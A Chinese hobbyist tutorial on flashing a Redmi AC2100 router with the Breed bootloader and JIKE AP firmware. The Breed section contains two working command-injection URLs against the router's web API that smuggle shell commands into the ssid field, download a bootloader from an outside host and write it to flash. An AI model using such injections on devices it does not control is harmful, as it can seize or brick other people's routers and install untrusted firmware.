红米AC2100路由器刷写集客AP固件详细操作步骤

红米AC2100真的是这两年路由刷机界的一大神器，性能和可玩性都非常高，全新在某多上也只要169元，想玩的朋友也可以去某鱼购买二手，大概80-100的样子，可以刷的固件也有很多。这篇日志将详细描述将红米AC2100路由刷写为集客AP固件的具体操作过程，便于新手小白自己刷机时作为参考。

刷机前的准备

首先要准备一台能够插网线的电脑和一个具备有线网络的环境，并提前下载好如下几个固件包：
1.红米AC2100路由器官方2.0.7版本固件
2.集客AP固件：（由于红米AC2100路由器同时使用了两个不同厂家的Flash闪存，其中东芝版本大概率有坏块，所以提前准备了这3个固件包都先下载备用，分别如下）
(1)适用ESMT(晶豪)内存或NAND无坏块版本的246ND版本直刷包：
JIKEAP_AP246ND_MT7621_K4_MT7603_MT7615N_LLEEL_EPORT_FREE_7.2_2023021900.bin
(2)适用Toshiba(东芝)有坏块的246NND版本过度用的底包:
JIKEAP_AP246NND_upgrade_from_breed.bin
(3)适用Toshiba(东芝)有坏块的246NND版本升级包（东芝内存版本先在breed刷好过度包后再进入集客AP升级，不能直接在breed刷）
JIKEAP_AP246NND_MT7621_K4_MT7603_MT7615N_LLEEL_EPORT_FREE_7.2_2023021900.bin

准备好上面这些之后，就可以开始进行刷机了
刷机的过程其实也就3个步骤：
1.将红米路由器手动降级到2.0.7版本
2.刷入启动管理器breed
3.启动breed环境刷入集客AP固件

具体操作如下

红米AC2100固件降级

将AC2100的internet口和已有的网络进行连接，然后将电脑的网口接到AC2100的任意网口上，打开浏览器输入AC2100路由的默认管理地址http://192.168.31.1（一般接上网线后可能也会自动弹出路由器设置页面），对路由器进行初始设置。设置完成后重新登录路由器设置页面，打开常用设置→系统状态→系统版本，选择立即升级，文件选择咱们刚刚下载的2.0.7版本。

升级完成后重新进入红米AC2100后台，重新设置后台密码后登录，注意在引导过程中关闭自动升级，避免系统被升级回新版

到了这一步，路由的固件就已经降级成功，下一步就是刷入路由的breed了。

AC2100路由器刷Breed

breed是一个启动引导器，俗称不死breed，本次是通过较老版本的漏洞利用URL注入方式来实现，全程无需，所以这一步需要你的路由正常联网。
首先我们先登录红米AC2100后台，登录后台后可以看到地址栏网址中有如图的stok=xxxxxxxx这样一串代码，我们可以用记事本先复制起来。

然后再复制如下网址粘贴至浏览器，并将其中stok=后面的“”替换上方复制出来的stok，然后按下回车键。

http://192.168.31.1/cgi-bin/luci/;stok=********/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fr1286%2520%255b2020-10-09%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

页面显示如图信息然后观察路由器指示灯是否熄灭重启，如果熄灭重启代表刷入Breed成功。
如上方源站url刷入无效（路由有联网，步骤正确，运行后没有重启的情况下），可尝试本站备用地址：

http://192.168.31.1/cgi-bin/luci/;stok=********/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fwww.tuzijun.cn%2Fshare%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%2005ebb31fd889b148022346179346d91c60a1b4518bdc4d8b9717a62aec638bed)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

自此路由器刷入Breed完成。

刷入集客AP固件

上一步刷入breed完成后，首先拔出路由器的电源，找一个牙签或者卡针插入AC2100电源插孔旁边的reset重置孔，然后再接通电源，路由指示灯会闪烁几次然后变为蓝色，再松开rese，此时即可通过浏览器192.168.1.1进入breed。
进入breed后会显示如下界面，可以看到系统的各项信息，当然也可以查看内存的品牌，如下图我这台就是Toshiba(东芝)。

然后在刷入集客ap之前，我们还要在环境变量编辑中加这个变量名：xiaomi.r3g.bootfw 然后将值设置为2，否则刷入第三方系统后会无法正常启动系统。如图

然后我们找到固件升级，选择我们要刷入的固件（由于这台是东芝内存，99%概率是有坏块的，因此就要按照前文中先刷过度包的方式来处理，所以我们先刷JIKEAP_AP246NND_upgrade_from_breed.bin这个过度固件），选择后点击上传，然后更新，等进度条走完即可。

进度条走完后我们将电脑的IP改为6.6.6.7，子网掩码255.0.0.0，网关改为6.6.6.6（集客默认管理地址）。步骤如图

然后浏览器打开6.6.6.6，输入默认密码admin就能成功进入集客系统。进入系统后就就可以将系统升级为最新的固件了。

如果内存是ESMT的，可以直接刷最新版的246nd固件，无需刷过度包再升级。

breed启动器来源于H大，官网地址为https://blog.hackpascal.net
集客固件官网：http://file.cnrouter.com/